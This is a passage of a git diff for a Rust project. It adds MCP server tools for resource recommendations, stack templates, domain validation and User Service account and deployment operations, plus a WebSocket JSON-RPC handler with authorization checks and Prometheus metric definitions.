((base_ram as f64) * multiplier).ceil() as i32; + let final_storage = (base_storage * multiplier).ceil() as i32; + + let traffic_label = params + .expected_traffic + .clone() + .unwrap_or_else(|| "low".to_string()); + + let result = json!({ + "app_type": params.app_type, + "expected_traffic": traffic_label, + "recommendations": { + "cpu": final_cpu, + "cpu_unit": "cores", + "ram": final_ram, + "ram_unit": "GB", + "storage": final_storage, + "storage_unit": "GB" + }, + "summary": format!( + "For {} with {} traffic: {} cores, {} GB RAM, {} GB storage", + params.app_type, traffic_label, final_cpu, final_ram, final_storage + ), + "notes": match params.app_type.to_lowercase().as_str() { + "wordpress" => "Recommended setup includes WordPress + MySQL. Add MySQL with 4GB RAM and 50GB storage.", + "nodejs" => "Lightweight runtime. Add database separately if needed.", + "postgresql" => "Database server. Allocate adequate storage for backups.", + "mysql" => "Database server. Consider replication for HA.", + _ => "Adjust resources based on your workload." + } + }); + + tracing::info!( + "Suggested resources for {} with {} traffic", + params.app_type, + traffic_label + ); + + Ok(ToolContent::Text { + text: serde_json::to_string(&result).unwrap(), + }) + } + + fn schema(&self) -> Tool { + Tool { + name: "suggest_resources".to_string(), + description: "Get AI-powered resource recommendations (CPU, RAM, storage) for an application type and expected traffic level".to_string(), + input_schema: json!({ + "type": "object", + "properties": { + "app_type": { + "type": "string", + "description": "Application type (e.g., 'wordpress', 'nodejs', 'postgresql', 'django')" + }, + "expected_traffic": { + "type": "string", + "enum": ["low", "medium", "high"], + "description": "Expected traffic level (optional, default: low)" + } + }, + "required": ["app_type"] + }), + } + } +} + +/// List available templates/stack configurations +pub struct ListTemplatesTool; + +#[async_trait] +impl ToolHandler for ListTemplatesTool { + async fn execute(&self, args: Value, _context: &ToolContext) -> Result { + #[derive(Deserialize)] + struct Args { + #[serde(default)] + category: Option, + #[serde(default)] + search: Option, + } + + let params: Args = serde_json::from_value(args).unwrap_or(Args { + category: None, + search: None, + }); + + // For now, return curated list of popular templates + // In Phase 3, this will query the database for public ratings + let templates = vec![ + json!({ + "id": "wordpress-mysql", + "name": "WordPress with MySQL", + "description": "Complete WordPress blog/site with MySQL database", + "category": "cms", + "services": ["wordpress", "mysql"], + "rating": 4.8, + "downloads": 1250 + }), + json!({ + "id": "nodejs-express", + "name": "Node.js Express API", + "description": "RESTful API server with Express.js", + "category": "api", + "services": ["nodejs"], + "rating": 4.6, + "downloads": 850 + }), + json!({ + "id": "nextjs-postgres", + "name": "Next.js Full Stack", + "description": "Next.js frontend + PostgreSQL database", + "category": "web", + "services": ["nextjs", "postgresql"], + "rating": 4.7, + "downloads": 920 + }), + json!({ + "id": "django-postgres", + "name": "Django Web Application", + "description": "Django web framework with PostgreSQL", + "category": "web", + "services": ["django", "postgresql"], + "rating": 4.5, + "downloads": 680 + }), + json!({ + "id": "lamp-stack", + "name": "LAMP Stack", + "description": "Linux + Apache + MySQL + PHP", + "category": "web", + "services": ["apache", "php", "mysql"], + "rating": 4.4, + "downloads": 560 + }), + json!({ + "id": "elasticsearch-kibana", + "name": "ELK Stack", + "description": "Elasticsearch + Logstash + Kibana for logging", + "category": "infrastructure", + "services": ["elasticsearch", "kibana"], + "rating": 4.7, + "downloads": 730 + }), + ]; + + // Filter by category if provided + let filtered = if let Some(cat) = params.category { + templates + .into_iter() + .filter(|t| { + t["category"] + .as_str() + .unwrap_or("") + .eq_ignore_ascii_case(&cat) + }) + .collect::>() + } else { + templates + }; + + // Filter by search term if provided + let final_list = if let Some(search) = params.search { + filtered + .into_iter() + .filter(|t| { + let name = t["name"].as_str().unwrap_or(""); + let desc = t["description"].as_str().unwrap_or(""); + name.to_lowercase().contains(&search.to_lowercase()) + || desc.to_lowercase().contains(&search.to_lowercase()) + }) + .collect() + } else { + filtered + }; + + let result = json!({ + "count": final_list.len(), + "templates": final_list + }); + + tracing::info!("Listed {} templates", final_list.len()); + + Ok(ToolContent::Text { + text: serde_json::to_string(&result).unwrap(), + }) + } + + fn schema(&self) -> Tool { + Tool { + name: "list_templates".to_string(), + description: "Browse available stack templates (WordPress, Node.js, Django, etc.) with ratings and descriptions".to_string(), + input_schema: json!({ + "type": "object", + "properties": { + "category": { + "type": "string", + "enum": ["cms", "api", "web", "database", "infrastructure"], + "description": "Filter by template category (optional)" + }, + "search": { + "type": "string", + "description": "Search templates by name or description (optional)" + } + }, + "required": [] + }), + } + } +} + +/// Validate domain name format +pub struct ValidateDomainTool; + +#[async_trait] +impl ToolHandler for ValidateDomainTool { + async fn execute(&self, args: Value, _context: &ToolContext) -> Result { + #[derive(Deserialize)] + struct Args { + domain: String, + } + + let params: Args = + serde_json::from_value(args).map_err(|e| format!("Invalid arguments: {}", e))?; + + // Simple domain validation regex + let domain_regex = + regex::Regex::new(r"^([a-z0-9]([a-z0-9\-]{0,61}[a-z0-9])?\.)+[a-z]{2,}$").unwrap(); + + let is_valid = domain_regex.is_match(¶ms.domain.to_lowercase()); + + let result = json!({ + "domain": params.domain, + "valid": is_valid, + "message": if is_valid { + "Domain format is valid" + } else { + "Invalid domain format" + } + }); + + Ok(ToolContent::Text { + text: serde_json::to_string(&result).unwrap(), + }) + } + + fn schema(&self) -> Tool { + Tool { + name: "validate_domain".to_string(), + description: "Validate domain name format".to_string(), + input_schema: json!({ + "type": "object", + "properties": { + "domain": { + "type": "string", + "description": "Domain name to validate (e.g., 'example.com')" + } + }, + "required": ["domain"] + }), + } + } +} diff --git a/stacker/stacker/src/mcp/tools/user.rs b/stacker/stacker/src/mcp/tools/user.rs new file mode 100644 index 0000000..61b6fd0 --- /dev/null +++ b/stacker/stacker/src/mcp/tools/user.rs @@ -0,0 +1,3 @@ +//! Deprecated module: MCP tools moved to user_service/mcp.rs + +pub use super::user_service::mcp::*; diff --git a/stacker/stacker/src/mcp/tools/user_service/mcp.rs b/stacker/stacker/src/mcp/tools/user_service/mcp.rs new file mode 100644 index 0000000..df62868 --- /dev/null +++ b/stacker/stacker/src/mcp/tools/user_service/mcp.rs @@ -0,0 +1,666 @@ +//! MCP Tools for User Service integration. +//! +//! These tools provide AI access to: +//! - User profile information +//! - Subscription plans and limits +//! - Installations/deployments list +//! - Application catalog + +use async_trait::async_trait; +use serde_json::{json, Value}; + +use crate::connectors::user_service::UserServiceClient; +use crate::mcp::protocol::{Tool, ToolContent}; +use crate::mcp::registry::{ToolContext, ToolHandler}; +use serde::Deserialize; + +/// Get current user's profile information +pub struct GetUserProfileTool; + +#[async_trait] +impl ToolHandler for GetUserProfileTool { + async fn execute(&self, _args: Value, context: &ToolContext) -> Result { + let client = UserServiceClient::new_public(&context.settings.user_service_url); + + // Use the user's token from context to call User Service + let token = context.user.access_token.as_deref().unwrap_or(""); + + let profile = client + .get_user_profile(token) + .await + .map_err(|e| format!("Failed to fetch user profile: {}", e))?; + + let result = + serde_json::to_string(&profile).map_err(|e| format!("Serialization error: {}", e))?; + + tracing::info!(user_id = %context.user.id, "Fetched user profile via MCP"); + + Ok(ToolContent::Text { text: result }) + } + + fn schema(&self) -> Tool { + Tool { + name: "get_user_profile".to_string(), + description: + "Get the current user's profile information including email, name, and roles" + .to_string(), + input_schema: json!({ + "type": "object", + "properties": {}, + "required": [] + }), + } + } +} + +/// Get user's subscription plan and limits +pub struct GetSubscriptionPlanTool; + +#[async_trait] +impl ToolHandler for GetSubscriptionPlanTool { + async fn execute(&self, _args: Value, context: &ToolContext) -> Result { + let client = UserServiceClient::new_public(&context.settings.user_service_url); + let token = context.user.access_token.as_deref().unwrap_or(""); + + let plan = client + .get_subscription_plan(token) + .await + .map_err(|e| format!("Failed to fetch subscription plan: {}", e))?; + + let result = + serde_json::to_string(&plan).map_err(|e| format!("Serialization error: {}", e))?; + + tracing::info!(user_id = %context.user.id, "Fetched subscription plan via MCP"); + + Ok(ToolContent::Text { text: result }) + } + + fn schema(&self) -> Tool { + Tool { + name: "get_subscription_plan".to_string(), + description: "Get the user's current subscription plan including limits (max deployments, apps per deployment, storage, bandwidth) and features".to_string(), + input_schema: json!({ + "type": "object", + "properties": {}, + "required": [] + }), + } + } +} + +/// List user's installations (deployments) +pub struct ListInstallationsTool; + +#[async_trait] +impl ToolHandler for ListInstallationsTool { + async fn execute(&self, _args: Value, context: &ToolContext) -> Result { + let client = UserServiceClient::new_public(&context.settings.user_service_url); + let token = context.user.access_token.as_deref().unwrap_or(""); + + let installations = client + .list_installations(token) + .await + .map_err(|e| format!("Failed to fetch installations: {}", e))?; + + let result = serde_json::to_string(&installations) + .map_err(|e| format!("Serialization error: {}", e))?; + + tracing::info!( + user_id = %context.user.id, + count = installations.len(), + "Listed installations via MCP" + ); + + Ok(ToolContent::Text { text: result }) + } + + fn schema(&self) -> Tool { + Tool { + name: "list_installations".to_string(), + description: "List all user's deployments/installations with their status, cloud provider, and domain".to_string(), + input_schema: json!({ + "type": "object", + "properties": {}, + "required": [] + }), + } + } +} + +/// Get specific installation details +pub struct GetInstallationDetailsTool; + +#[async_trait] +impl ToolHandler for GetInstallationDetailsTool { + async fn execute(&self, args: Value, context: &ToolContext) -> Result { + #[derive(Deserialize)] + struct Args { + installation_id: i64, + } + + let params: Args = + serde_json::from_value(args).map_err(|e| format!("Invalid arguments: {}", e))?; + + let client = UserServiceClient::new_public(&context.settings.user_service_url); + let token = context.user.access_token.as_deref().unwrap_or(""); + + let installation = client + .get_installation(token, params.installation_id) + .await + .map_err(|e| format!("Failed to fetch installation details: {}", e))?; + + let result = serde_json::to_string(&installation) + .map_err(|e| format!("Serialization error: {}", e))?; + + tracing::info!( + user_id = %context.user.id, + installation_id = params.installation_id, + "Fetched installation details via MCP" + ); + + Ok(ToolContent::Text { text: result }) + } + + fn schema(&self) -> Tool { + Tool { + name: "get_installation_details".to_string(), + description: "Get detailed information about a specific deployment/installation including apps, server IP, and agent configuration".to_string(), + input_schema: json!({ + "type": "object", + "properties": { + "installation_id": { + "type": "number", + "description": "The installation/deployment ID to fetch details for" + } + }, + "required": ["installation_id"] + }), + } + } +} + +/// Search available applications in the catalog +pub struct SearchApplicationsTool; + +#[async_trait] +impl ToolHandler for SearchApplicationsTool { + async fn execute(&self, args: Value, context: &ToolContext) -> Result { + #[derive(Deserialize)] + struct Args { + #[serde(default)] + query: Option, + } + + let params: Args = + serde_json::from_value(args).map_err(|e| format!("Invalid arguments: {}", e))?; + + let client = UserServiceClient::new_public(&context.settings.user_service_url); + let token = context.user.access_token.as_deref().unwrap_or(""); + + let applications = client + .search_applications(token, params.query.as_deref()) + .await + .map_err(|e| format!("Failed to search applications: {}", e))?; + + let result = serde_json::to_string(&applications) + .map_err(|e| format!("Serialization error: {}", e))?; + + tracing::info!( + user_id = %context.user.id, + query = ?params.query, + count = applications.len(), + "Searched applications via MCP" + ); + + Ok(ToolContent::Text { text: result }) + } + + fn schema(&self) -> Tool { + Tool { + name: "search_applications".to_string(), + description: "Search available applications/services in the catalog that can be added to a stack. Returns app details including Docker image, default port, and description.".to_string(), + input_schema: json!({ + "type": "object", + "properties": { + "query": { + "type": "string", + "description": "Optional search query to filter applications by name" + } + }, + "required": [] + }), + } + } +} + +/// List user notifications +pub struct GetNotificationsTool; + +#[async_trait] +impl ToolHandler for GetNotificationsTool { + async fn execute(&self, args: Value, context: &ToolContext) -> Result { + #[derive(Deserialize)] + struct Args { + #[serde(default)] + page: Option, + #[serde(default)] + max_results: Option, + #[serde(default)] + unread_only: Option, + } + + let params: Args = + serde_json::from_value(args).map_err(|e| format!("Invalid arguments: {}", e))?; + + let client = UserServiceClient::new_public(&context.settings.user_service_url); + let token = context.user.access_token.as_deref().unwrap_or(""); + + let mut notifications = client + .list_notifications(token, params.page, params.max_results) + .await + .map_err(|e| format!("Failed to fetch notifications: {}", e))?; + + if params.unread_only.unwrap_or(false) { + notifications.retain(|item| !item.is_read.unwrap_or(false)); + } + + let result = serde_json::to_string(¬ifications) + .map_err(|e| format!("Serialization error: {}", e))?; + + tracing::info!( + user_id = %context.user.id, + count = notifications.len(), + unread_only = params.unread_only.unwrap_or(false), + "Listed notifications via MCP" + ); + + Ok(ToolContent::Text { text: result }) + } + + fn schema(&self) -> Tool { + Tool { + name: "get_notifications".to_string(), + description: "List user notifications with optional pagination and unread filter" + .to_string(), + input_schema: json!({ + "type": "object", + "properties": { + "page": { + "type": "number", + "description": "Optional page number" + }, + "max_results": { + "type": "number", + "description": "Optional number of records per page" + }, + "unread_only": { + "type": "boolean", + "description": "When true, return only unread notifications" + } + }, + "required": [] + }), + } + } +} + +/// Mark a notification as read/unread +pub struct MarkNotificationReadTool; + +#[async_trait] +impl ToolHandler for MarkNotificationReadTool { + async fn execute(&self, args: Value, context: &ToolContext) -> Result { + #[derive(Deserialize)] + struct Args { + notification_id: i64, + #[serde(default = "default_read_state")] + is_read: bool, + } + + fn default_read_state() -> bool { + true + } + + let params: Args = + serde_json::from_value(args).map_err(|e| format!("Invalid arguments: {}", e))?; + + let client = UserServiceClient::new_public(&context.settings.user_service_url); + let token = context.user.access_token.as_deref().unwrap_or(""); + + let response = client + .mark_notification_read(token, params.notification_id, params.is_read) + .await + .map_err(|e| format!("Failed to update notification state: {}", e))?; + + tracing::info!( + user_id = %context.user.id, + notification_id = params.notification_id, + is_read = params.is_read, + "Updated notification read state via MCP" + ); + + Ok(ToolContent::Text { + text: response.to_string(), + }) + } + + fn schema(&self) -> Tool { + Tool { + name: "mark_notification_read".to_string(), + description: "Mark a notification as read (default) or unread".to_string(), + input_schema: json!({ + "type": "object", + "properties": { + "notification_id": { + "type": "number", + "description": "Notification ID" + }, + "is_read": { + "type": "boolean", + "description": "Read state to set (default: true)" + } + }, + "required": ["notification_id"] + }), + } + } +} + +/// Mark all notifications as read +pub struct MarkAllNotificationsReadTool; + +#[async_trait] +impl ToolHandler for MarkAllNotificationsReadTool { + async fn execute(&self, _args: Value, context: &ToolContext) -> Result { + let client = UserServiceClient::new_public(&context.settings.user_service_url); + let token = context.user.access_token.as_deref().unwrap_or(""); + + let response = client + .mark_all_notifications_read(token) + .await + .map_err(|e| format!("Failed to mark all notifications read: {}", e))?; + + tracing::info!( + user_id = %context.user.id, + "Marked all notifications as read via MCP" + ); + + Ok(ToolContent::Text { + text: response.to_string(), + }) + } + + fn schema(&self) -> Tool { + Tool { + name: "mark_all_notifications_read".to_string(), + description: "Mark all notifications as read for the current user".to_string(), + input_schema: json!({ + "type": "object", + "properties": {}, + "required": [] + }), + } + } +} + +/// Search templates from unified applications endpoint (official + marketplace) +pub struct SearchMarketplaceTemplatesTool; + +#[async_trait] +impl ToolHandler for SearchMarketplaceTemplatesTool { + async fn execute(&self, args: Value, context: &ToolContext) -> Result { + #[derive(Deserialize)] + struct Args { + #[serde(default)] + query: Option, + #[serde(default)] + category: Option, + #[serde(default)] + is_marketplace: Option, + #[serde(default)] + page: Option, + #[serde(default)] + max_results: Option, + } + + let params: Args = + serde_json::from_value(args).map_err(|e| format!("Invalid arguments: {}", e))?; + + let client = UserServiceClient::new_public(&context.settings.user_service_url); + let token = context.user.access_token.as_deref().unwrap_or(""); + + let applications = client + .search_marketplace_templates( + token, + params.query.as_deref(), + params.category.as_deref(), + params.is_marketplace, + params.page, + params.max_results, + ) + .await + .map_err(|e| format!("Failed to search templates: {}", e))?; + + let response = json!({ + "count": applications.len(), + "items": applications, + }); + + tracing::info!( + user_id = %context.user.id, + query = ?params.query, + category = ?params.category, + is_marketplace = ?params.is_marketplace, + count = response.get("count").and_then(|v| v.as_u64()).unwrap_or(0), + "Searched unified template catalog via MCP" + ); + + Ok(ToolContent::Text { + text: response.to_string(), + }) + } + + fn schema(&self) -> Tool { + Tool { + name: "search_marketplace_templates".to_string(), + description: "Search the unified applications catalog (official + marketplace templates) with optional text/category/source filters" + .to_string(), + input_schema: json!({ + "type": "object", + "properties": { + "query": { + "type": "string", + "description": "Optional free-text search over name/code/description" + }, + "category": { + "type": "string", + "description": "Optional category filter" + }, + "is_marketplace": { + "type": "boolean", + "description": "Optional source filter: true for marketplace only, false for official only" + }, + "page": { + "type": "number", + "description": "Optional page number" + }, + "max_results": { + "type": "number", + "description": "Optional number of records per page" + } + }, + "required": [] + }), + } + } +} + +/// Initiate deployment using User Service native install flow +pub struct InitiateDeploymentTool; + +#[async_trait] +impl ToolHandler for InitiateDeploymentTool { + async fn execute(&self, args: Value, context: &ToolContext) -> Result { + #[derive(Deserialize)] + struct Args { + payload: Value, + } + + let params: Args = + serde_json::from_value(args).map_err(|e| format!("Invalid arguments: {}", e))?; + + let client = UserServiceClient::new_public(&context.settings.user_service_url); + let token = context.user.access_token.as_deref().unwrap_or(""); + + let response = client + .initiate_deployment(token, params.payload) + .await + .map_err(|e| format!("Failed to initiate deployment: {}", e))?; + + tracing::info!( + user_id = %context.user.id, + "Initiated deployment via User Service MCP tool" + ); + + Ok(ToolContent::Text { + text: response.to_string(), + }) + } + + fn schema(&self) -> Tool { + Tool { + name: "initiate_deployment".to_string(), + description: "Initiate deployment through User Service /install/init/ using native validation and orchestration flow" + .to_string(), + input_schema: json!({ + "type": "object", + "properties": { + "payload": { + "type": "object", + "description": "Deployment request payload expected by User Service /install/init/" + } + }, + "required": ["payload"] + }), + } + } +} + +/// Trigger redeploy for an existing installation +pub struct TriggerRedeployTool; + +#[async_trait] +impl ToolHandler for TriggerRedeployTool { + async fn execute(&self, args: Value, context: &ToolContext) -> Result { + #[derive(Deserialize)] + struct Args { + installation_id: i64, + } + + let params: Args = + serde_json::from_value(args).map_err(|e| format!("Invalid arguments: {}", e))?; + + let client = UserServiceClient::new_public(&context.settings.user_service_url); + let token = context.user.access_token.as_deref().unwrap_or(""); + + let response = client + .trigger_redeploy(token, params.installation_id) + .await + .map_err(|e| format!("Failed to trigger redeploy: {}", e))?; + + tracing::info!( + user_id = %context.user.id, + installation_id = params.installation_id, + "Triggered installation redeploy via MCP" + ); + + Ok(ToolContent::Text { + text: response.to_string(), + }) + } + + fn schema(&self) -> Tool { + Tool { + name: "trigger_redeploy".to_string(), + description: "Trigger redeploy for an existing installation".to_string(), + input_schema: json!({ + "type": "object", + "properties": { + "installation_id": { + "type": "number", + "description": "Installation ID to redeploy" + } + }, + "required": ["installation_id"] + }), + } + } +} + +/// Add a new app to an existing installation +pub struct AddAppToDeploymentTool; + +#[async_trait] +impl ToolHandler for AddAppToDeploymentTool { + async fn execute(&self, args: Value, context: &ToolContext) -> Result { + #[derive(Deserialize)] + struct Args { + installation_id: i64, + app_code: String, + #[serde(default)] + app_config: Option, + } + + let params: Args = + serde_json::from_value(args).map_err(|e| format!("Invalid arguments: {}", e))?; + + let client = UserServiceClient::new_public(&context.settings.user_service_url); + let token = context.user.access_token.as_deref().unwrap_or(""); + + let response = client + .add_app_to_installation( + token, + params.installation_id, + ¶ms.app_code, + params.app_config, + ) + .await + .map_err(|e| format!("Failed to add app to installation: {}", e))?; + + tracing::info!( + user_id = %context.user.id, + installation_id = params.installation_id, + app_code = %params.app_code, + "Added app to installation via MCP" + ); + + Ok(ToolContent::Text { + text: response.to_string(), + }) + } + + fn schema(&self) -> Tool { + Tool { + name: "add_app_to_deployment".to_string(), + description: "Add an app to an existing installation/deployment".to_string(), + input_schema: json!({ + "type": "object", + "properties": { + "installation_id": { + "type": "number", + "description": "Installation ID" + }, + "app_code": { + "type": "string", + "description": "Application code to add" + }, + "app_config": { + "type": "object", + "description": "Optional app-specific config payload" + } + }, + "required": ["installation_id", "app_code"] + }), + } + } +} diff --git a/stacker/stacker/src/mcp/tools/user_service/mod.rs b/stacker/stacker/src/mcp/tools/user_service/mod.rs new file mode 100644 index 0000000..3bcdad2 --- /dev/null +++ b/stacker/stacker/src/mcp/tools/user_service/mod.rs @@ -0,0 +1,3 @@ +pub(crate) mod mcp; + +pub use mcp::*; diff --git a/stacker/stacker/src/mcp/websocket.rs b/stacker/stacker/src/mcp/websocket.rs new file mode 100644 index 0000000..f17cc0f --- /dev/null +++ b/stacker/stacker/src/mcp/websocket.rs @@ -0,0 +1,381 @@ +use crate::configuration::Settings; +use crate::models; +use actix::{Actor, ActorContext, AsyncContext, StreamHandler}; +use actix_casbin_auth::CasbinService; +use actix_web::{web, Error, HttpRequest, HttpResponse}; +use actix_web_actors::ws; +use sqlx::PgPool; +use std::sync::Arc; +use std::time::{Duration, Instant}; + +use super::protocol::{ + CallToolRequest, CallToolResponse, InitializeParams, InitializeResult, JsonRpcError, + JsonRpcRequest, JsonRpcResponse, ServerCapabilities, ServerInfo, ToolListResponse, + ToolsCapability, +}; +use super::registry::{ToolContext, ToolRegistry}; +use super::session::McpSession; +use crate::services::TypedErrorEnvelope; + +/// WebSocket heartbeat interval +const HEARTBEAT_INTERVAL: Duration = Duration::from_secs(5); +/// Client timeout - close connection if no heartbeat received +const CLIENT_TIMEOUT: Duration = Duration::from_secs(10); + +/// MCP WebSocket actor +pub struct McpWebSocket { + user: Arc, + session: McpSession, + registry: Arc, + pg_pool: PgPool, + settings: web::Data, + casbin_service: CasbinService, + hb: Instant, +} + +impl McpWebSocket { + pub fn new( + user: Arc, + registry: Arc, + pg_pool: PgPool, + settings: web::Data, + casbin_service: CasbinService, + ) -> Self { + Self { + user, + session: McpSession::new(), + registry, + pg_pool, + settings, + casbin_service, + hb: Instant::now(), + } + } + + /// Start heartbeat process to check connection health + fn hb(&self, ctx: &mut ::Context) { + ctx.run_interval(HEARTBEAT_INTERVAL, |act, ctx| { + if Instant::now().duration_since(act.hb) > CLIENT_TIMEOUT { + tracing::warn!("MCP WebSocket client heartbeat failed, disconnecting"); + ctx.stop(); + return; + } + + ctx.ping(b""); + }); + } + + /// Handle JSON-RPC request + async fn handle_jsonrpc(&self, req: JsonRpcRequest) -> Option { + // Notifications arrive without an id and must not receive a response per JSON-RPC 2.0 + if req.id.is_none() { + if req.method == "notifications/initialized" { + tracing::info!("Ignoring notifications/initialized (notification)"); + } else { + tracing::warn!("Ignoring notification without id: method={}", req.method); + } + return None; + } + + let response = match req.method.as_str() { + "initialize" => self.handle_initialize(req).await, + "tools/list" => self.handle_tools_list(req).await, + "tools/call" => self.handle_tools_call(req).await, + _ => JsonRpcResponse::error(req.id, JsonRpcError::method_not_found(&req.method)), + }; + + Some(response) + } + + /// Handle MCP initialize method + async fn handle_initialize(&self, req: JsonRpcRequest) -> JsonRpcResponse { + let params: InitializeParams = match req.params { + Some(p) => match serde_json::from_value(p) { + Ok(params) => params, + Err(e) => { + return JsonRpcResponse::error( + req.id, + JsonRpcError::invalid_params(&e.to_string()), + ) + } + }, + None => { + return JsonRpcResponse::error( + req.id, + JsonRpcError::invalid_params("Missing params"), + ) + } + }; + + tracing::info!( + "MCP client initialized: protocol_version={}, client={}", + params.protocol_version, + params + .client_info + .as_ref() + .map(|c| c.name.as_str()) + .unwrap_or("unknown") + ); + + let result = InitializeResult { + protocol_version: "2024-11-05".to_string(), + capabilities: ServerCapabilities { + tools: Some(ToolsCapability { + list_changed: Some(false), + }), + experimental: None, + }, + server_info: ServerInfo { + name: "stacker-mcp".to_string(), + version: env!("CARGO_PKG_VERSION").to_string(), + }, + }; + + JsonRpcResponse::success(req.id, serde_json::to_value(result).unwrap()) + } + + /// Handle tools/list method + async fn handle_tools_list(&self, req: JsonRpcRequest) -> JsonRpcResponse { + let tools = self.registry.list_tools(); + + tracing::debug!("Listing {} available tools", tools.len()); + + let result = ToolListResponse { tools }; + + JsonRpcResponse::success(req.id, serde_json::to_value(result).unwrap()) + } + + /// Handle tools/call method + async fn handle_tools_call(&self, req: JsonRpcRequest) -> JsonRpcResponse { + let call_req: CallToolRequest = match req.params { + Some(p) => match serde_json::from_value(p) { + Ok(params) => params, + Err(e) => { + return JsonRpcResponse::error( + req.id, + JsonRpcError::invalid_params(&e.to_string()), + ) + } + }, + None => { + return JsonRpcResponse::error( + req.id, + JsonRpcError::invalid_params("Missing params"), + ) + } + }; + + let tool_span = tracing::info_span!( + "mcp_tool_call", + tool = %call_req.name, + user = %self.user.id + ); + let _enter = tool_span.enter(); + + match self.registry.get(&call_req.name) { + Some(handler) => { + if let Err(err) = self + .registry + .authorize_call(&call_req.name, &self.user, self.casbin_service.clone()) + .await + { + tracing::warn!(tool = %call_req.name, error = %err, "MCP tool authorization failed"); + let response = CallToolResponse::typed_error( + TypedErrorEnvelope::from_mcp_error_message(&err), + ); + return JsonRpcResponse::success( + req.id, + serde_json::to_value(response).unwrap(), + ); + } + + let context = ToolContext { + user: self.user.clone(), + pg_pool: self.pg_pool.clone(), + settings: self.settings.clone(), + }; + + match handler + .execute( + call_req.arguments.unwrap_or(serde_json::json!({})), + &context, + ) + .await + { + Ok(content) => { + tracing::info!("Tool executed successfully"); + let response = CallToolResponse { + content: vec![content], + is_error: None, + }; + JsonRpcResponse::success(req.id, serde_json::to_value(response).unwrap()) + } + Err(e) => { + tracing::error!("Tool execution failed: {}", e); + let response = CallToolResponse::typed_error( + TypedErrorEnvelope::from_mcp_error_message(&e), + ); + JsonRpcResponse::success(req.id, serde_json::to_value(response).unwrap()) + } + } + } + None => { + tracing::warn!("Tool not found: {}", call_req.name); + JsonRpcResponse::error( + req.id, + JsonRpcError::custom( + -32001, + format!("Tool not found: {}", call_req.name), + None, + ), + ) + } + } + } +} + +impl Actor for McpWebSocket { + type Context = ws::WebsocketContext; + + fn started(&mut self, ctx: &mut Self::Context) { + tracing::info!( + "MCP WebSocket connection started: session_id={}, user={}", + self.session.id, + self.user.id + ); + self.hb(ctx); + } + + fn stopped(&mut self, _ctx: &mut Self::Context) { + tracing::info!( + "MCP WebSocket connection closed: session_id={}, user={}", + self.session.id, + self.user.id + ); + } +} + +impl StreamHandler> for McpWebSocket { + fn handle(&mut self, msg: Result, ctx: &mut Self::Context) { + match msg { + Ok(ws::Message::Ping(msg)) => { + self.hb = Instant::now(); + ctx.pong(&msg); + } + Ok(ws::Message::Pong(_)) => { + self.hb = Instant::now(); + } + Ok(ws::Message::Text(text)) => { + tracing::info!("[MCP] Received JSON-RPC message: {}", text); + + let request: JsonRpcRequest = match serde_json::from_str(&text) { + Ok(req) => req, + Err(e) => { + tracing::error!("[MCP] Failed to parse JSON-RPC request: {}", e); + let error_response = + JsonRpcResponse::error(None, JsonRpcError::parse_error()); + let response_text = serde_json::to_string(&error_response).unwrap(); + tracing::error!("[MCP] Sending parse error response: {}", response_text); + ctx.text(response_text); + return; + } + }; + + let user = self.user.clone(); + let session = self.session.clone(); + let registry = self.registry.clone(); + let pg_pool = self.pg_pool.clone(); + let settings = self.settings.clone(); + let casbin_service = self.casbin_service.clone(); + + let fut = async move { + let ws = McpWebSocket { + user, + session, + registry, + pg_pool, + settings, + casbin_service, + hb: Instant::now(), + }; + ws.handle_jsonrpc(request).await + }; + + let addr = ctx.address(); + actix::spawn(async move { + if let Some(response) = fut.await { + addr.do_send(SendResponse(response)); + } else { + tracing::debug!("[MCP] Dropped response for notification (no id)"); + } + }); + } + Ok(ws::Message::Binary(_)) => { + tracing::warn!("Binary messages not supported in MCP protocol"); + } + Ok(ws::Message::Close(reason)) => { + tracing::info!("MCP WebSocket close received: {:?}", reason); + ctx.close(reason); + ctx.stop(); + } + _ => {} + } + } +} + +/// Message to send JSON-RPC response back to client +#[derive(actix::Message)] +#[rtype(result = "()")] +struct SendResponse(JsonRpcResponse); + +impl actix::Handler for McpWebSocket { + type Result = (); + + fn handle(&mut self, msg: SendResponse, ctx: &mut Self::Context) { + let response_text = serde_json::to_string(&msg.0).unwrap(); + tracing::info!( + "[MCP] Sending JSON-RPC response: id={:?}, has_result={}, has_error={}, message={}", + msg.0.id, + msg.0.result.is_some(), + msg.0.error.is_some(), + response_text + ); + ctx.text(response_text); + } +} + +/// WebSocket route handler - entry point for MCP connections +#[tracing::instrument( + name = "MCP WebSocket connection", + skip(req, stream, user, registry, pg_pool, settings, casbin_service) +)] +pub async fn mcp_websocket( + req: HttpRequest, + stream: web::Payload, + user: web::ReqData>, + registry: web::Data>, + pg_pool: web::Data, + settings: web::Data, + casbin_service: web::Data, +) -> Result { + tracing::info!( + "New MCP WebSocket connection request from user: {}", + user.id + ); + + let ws = McpWebSocket::new( + user.into_inner(), + registry.get_ref().clone(), + pg_pool.get_ref().clone(), + settings.clone(), + casbin_service.get_ref().clone(), + ); + + // The MCP SDK requests subprotocol "mcp" via Sec-WebSocket-Protocol header. + // Chrome strictly enforces subprotocol negotiation and will reject the + // connection if the server does not echo the requested protocol back. + // Firefox is more lenient, which is why it works there but not in Chrome. + ws::WsResponseBuilder::new(ws, &req, stream) + .protocols(&["mcp"]) + .start() +} diff --git a/stacker/stacker/src/metrics.rs b/stacker/stacker/src/metrics.rs new file mode 100644 index 0000000..8a0dc24 --- /dev/null +++ b/stacker/stacker/src/metrics.rs @@ -0,0 +1,88 @@ +use lazy_static::lazy_static; +use prometheus::{ + register_counter_vec, register_gauge, register_histogram_vec, CounterVec, Gauge, HistogramVec, +}; + +lazy_static! { + // ── HTTP Request Metrics ──────────────────────────────────── + pub static ref HTTP_REQUESTS_TOTAL: CounterVec = register_counter_vec!( + "http_requests_total", + "Total number of HTTP requests", + &["method", "path", "status"] + ) + .expect("Failed to register http_requests_total"); + + pub static ref HTTP_REQUEST_DURATION: HistogramVec = register_histogram_vec!( + "http_request_duration_seconds", + "HTTP request duration in seconds", + &["method", "path"], + vec![0.005, 0.01, 0.025, 0.05, 0.1, 0.25, 0.5, 1.0, 2.5, 5.0, 10.0] + ) + .expect("Failed to register http_request_duration_seconds"); + + // ── Pipe Execution Metrics ────────────────────────────────── + pub static ref PIPE_EXECUTIONS_TOTAL: CounterVec = register_counter_vec!( + "pipe_executions_total", + "Total number of pipe executions", + &["status", "trigger_type"] + ) + .expect("Failed to register pipe_executions_total"); + + pub static ref PIPE_EXECUTION_DURATION: HistogramVec = register_histogram_vec!( + "pipe_execution_duration_seconds", + "Pipe execution duration in seconds", + &["trigger_type"], + vec![0.01, 